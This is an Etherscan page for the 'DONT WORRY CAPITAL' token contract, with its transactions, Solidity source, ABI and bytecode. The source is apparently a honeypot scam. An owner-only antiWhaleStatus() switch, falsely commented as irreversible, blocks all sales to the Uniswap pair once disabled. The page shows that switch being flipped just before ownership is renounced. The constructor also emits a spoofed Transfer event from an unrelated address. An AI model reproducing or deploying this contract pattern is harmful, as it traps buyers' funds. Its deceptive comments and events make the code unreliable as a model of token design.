Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 15 from a total of 15 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 13712103 | 1101 days ago | IN | 0 ETH | 0.00576925 | ||||
Approve | 13712094 | 1101 days ago | IN | 0 ETH | 0.00520059 | ||||
Approve | 13712072 | 1101 days ago | IN | 0 ETH | 0.00600199 | ||||
Approve | 13712051 | 1101 days ago | IN | 0 ETH | 0.00487724 | ||||
Approve | 13712048 | 1101 days ago | IN | 0 ETH | 0.00460646 | ||||
Approve | 13712047 | 1101 days ago | IN | 0 ETH | 0.00416495 | ||||
Approve | 13712047 | 1101 days ago | IN | 0 ETH | 0.00437806 | ||||
Renounce Ownersh... | 13712042 | 1101 days ago | IN | 0 ETH | 0.00255311 | ||||
Approve | 13712033 | 1101 days ago | IN | 0 ETH | 0.00417661 | ||||
Anti Whale Statu... | 13712030 | 1101 days ago | IN | 0 ETH | 0.00302418 | ||||
Approve | 13712028 | 1101 days ago | IN | 0 ETH | 0.00448328 | ||||
Approve | 13712028 | 1101 days ago | IN | 0 ETH | 0.00657943 | ||||
Approve | 13712028 | 1101 days ago | IN | 0 ETH | 0.01024311 | ||||
Approve | 13712025 | 1101 days ago | IN | 0 ETH | 0.00435297 | ||||
Approve | 13712008 | 1101 days ago | IN | 0 ETH | 0.00523942 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
DWCAPITAL
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-11-30 */ /** From the devs of CAT (Capital Aggregator) We present DW Capital - Dont worry your profits are SAFU **/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; pragma experimental ABIEncoderV2; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address payable private _owner; address payable private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = payable(msg.sender); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = payable(address(0)); } function transferOwnership(address payable newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = payable(address(0)); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until defined days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; _previousOwner = payable(address(0)); } } interface uniSwapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IPancakePair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IPancakeRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface uniSwapRouter02 is IPancakeRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } library Utils { using SafeMath for uint256; function swapTokensForEth( address routerAddress, uint256 tokenAmount ) internal { uniSwapRouter02 uniSwapRouter = uniSwapRouter02(routerAddress); // generate the pancake pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniSwapRouter.WETH(); // make the swap uniSwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of BNB path, address(this), block.timestamp + 360 ); } function swapETHForTokens( address routerAddress, address recipient, uint256 ethAmount ) internal { uniSwapRouter02 uniSwapRouter = uniSwapRouter02(routerAddress); // generate the pancake pair path of token -> weth address[] memory path = new address[](2); path[0] = uniSwapRouter.WETH(); path[1] = address(this); // make the swap uniSwapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmount}( 0, // accept any amount of BNB path, address(recipient), block.timestamp + 360 ); } function addLiquidity( address routerAddress, address owner, uint256 tokenAmount, uint256 ethAmount ) internal { uniSwapRouter02 uniSwapRouter = uniSwapRouter02(routerAddress); // add the liquidity uniSwapRouter.addLiquidityETH{value : ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner, block.timestamp + 360 ); } } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } modifier isHuman() { require(tx.origin == msg.sender, "sorry humans only"); _; } } contract DWCAPITAL is Context, IERC20, Ownable, ReentrancyGuard { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "DONT WORRY CAPITAL"; string private constant _symbol = "$DWC"; uint8 private constant _decimals = 9; uniSwapRouter02 public uniSwapRouter; address public uniSwapPair; bool private _antiwhale = true; //once switched on, can never be switched off. bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); event antiWaleUpdate(bool enabled); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _feeAddrWallet1 = payable(0xd5ab171Ec8165C2245b5c5457b50740FA4750EBE); _feeAddrWallet2 = payable(0xd5ab171Ec8165C2245b5c5457b50740FA4750EBE); _rOwned[_msgSender()] = _rTotal; uniSwapRouter02 _pancakeRouter = uniSwapRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a pancake pair for this new token uniSwapPair = uniSwapFactory(_pancakeRouter.factory()) .createPair(address(this), _pancakeRouter.WETH()); // set the rest of the contract variables uniSwapRouter = _pancakeRouter; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x7786B2455637420c7752D48bEe485F00E4c6aa6a), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (!_antiwhale) { require(to != uniSwapPair, "ERC20: antiwhale is not enabled yet"); } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if ( from == uniSwapPair && to != address(uniSwapRouter) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniSwapPair && from != address(uniSwapRouter) && !_isExcludedFromFee[from] ) { _feeAddr1 = 5; _feeAddr2 = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniSwapPair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function antiWhaleStatus(bool _state) public onlyOwner { _antiwhale = _state; emit antiWaleUpdate(_state); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniSwapRouter.WETH(); _approve(address(this), address(uniSwapRouter), tokenAmount); uniSwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniSwapRouter02 _uniswapV2Router = uniSwapRouter02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniSwapRouter = _uniswapV2Router; _approve(address(this), address(uniSwapRouter), _tTotal); uniSwapPair = uniSwapFactory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniSwapRouter.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 300000000000 * 10 ** 9; tradingOpen = true; IERC20(uniSwapPair).approve( address(uniSwapRouter), type(uint256).max ); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"antiWaleUpdate","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"antiWhaleStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"geUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"nonosquare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniSwapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniSwapRouter","outputs":[{"internalType":"contract uniSwapRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001b683635c9adc5dea0000060001962000423565b6200002990600019620003fd565b600a556011805464ffffff00ff60a01b1916600160a01b179055683635c9adc5dea000006012553480156200005d57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36001600355600e805473d5ab171ec8165c2245b5c5457b50740fa4750ebe6001600160a01b03199182168117909255600f80549091169091179055600a5460046000620000e73390565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200015e57600080fd5b505afa15801562000173573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001999190620003cb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001e257600080fd5b505afa158015620001f7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021d9190620003cb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200026657600080fd5b505af11580156200027b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a19190620003cb565b601180546001600160a01b03199081166001600160a01b039384161790915560108054909116918316919091179055600160076000620002e96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007909352818320805485166001908117909155600e54821684528284208054861682179055600f549091168352912080549092161790556200035a3390565b6001600160a01b0316737786b2455637420c7752d48bee485f00e4c6aa6a6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef683635c9adc5dea00000604051620003bc91815260200190565b60405180910390a35062000446565b600060208284031215620003de57600080fd5b81516001600160a01b0381168114620003f657600080fd5b9392505050565b6000828210156200041e57634e487b7160e01b600052601160045260246000fd5b500390565b6000826200044157634e487b7160e01b600052601260045260246000fd5b500690565b611e7d80620004566000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063c3c8cd801161006f578063c3c8cd80146103d3578063c9567bf9146103e8578063d837df05146103fd578063dd4670641461041d578063dd62ed3e1461043d578063f2fde38b1461048357600080fd5b8063715018a6146103295780638da5cb5b1461033e57806395d89b411461035c578063a69df4b514610389578063a9059cbb1461039e578063b6c52324146103be57600080fd5b8063313ce56711610108578063313ce567146102605780635932ead11461027c5780635d01ff3d1461029c5780636b79ad04146102d45780636fc3eaec146102f457806370a082311461030957600080fd5b806306fdde031461015b578063095ea7b3146101a857806318160ddd146101d85780631b3f71ae146101fe57806323b872dd14610220578063273123b71461024057600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506040805180820190915260128152711113d3950815d3d494964810d0541255105360721b60208201525b60405161019f9190611c14565b60405180910390f35b3480156101b457600080fd5b506101c86101c3366004611a9b565b6104a3565b604051901515815260200161019f565b3480156101e457600080fd5b50683635c9adc5dea000005b60405190815260200161019f565b34801561020a57600080fd5b5061021e610219366004611ac7565b6104ba565b005b34801561022c57600080fd5b506101c861023b366004611a5a565b610559565b34801561024c57600080fd5b5061021e61025b3660046119e7565b6105c2565b34801561026c57600080fd5b506040516009815260200161019f565b34801561028857600080fd5b5061021e610297366004611b93565b61060d565b3480156102a857600080fd5b506010546102bc906001600160a01b031681565b6040516001600160a01b03909116815260200161019f565b3480156102e057600080fd5b5061021e6102ef366004611b93565b610655565b34801561030057600080fd5b5061021e6106d7565b34801561031557600080fd5b506101f06103243660046119e7565b610704565b34801561033557600080fd5b5061021e610726565b34801561034a57600080fd5b506000546001600160a01b03166102bc565b34801561036857600080fd5b506040805180820190915260048152632444574360e01b6020820152610192565b34801561039557600080fd5b5061021e610788565b3480156103aa57600080fd5b506101c86103b9366004611a9b565b61089f565b3480156103ca57600080fd5b506002546101f0565b3480156103df57600080fd5b5061021e6108ac565b3480156103f457600080fd5b5061021e6108e2565b34801561040957600080fd5b506011546102bc906001600160a01b031681565b34801561042957600080fd5b5061021e610438366004611bcd565b610ca6565b34801561044957600080fd5b506101f0610458366004611a21565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561048f57600080fd5b5061021e61049e3660046119e7565b610d2b565b60006104b0338484610e03565b5060015b92915050565b6000546001600160a01b031633146104ed5760405162461bcd60e51b81526004016104e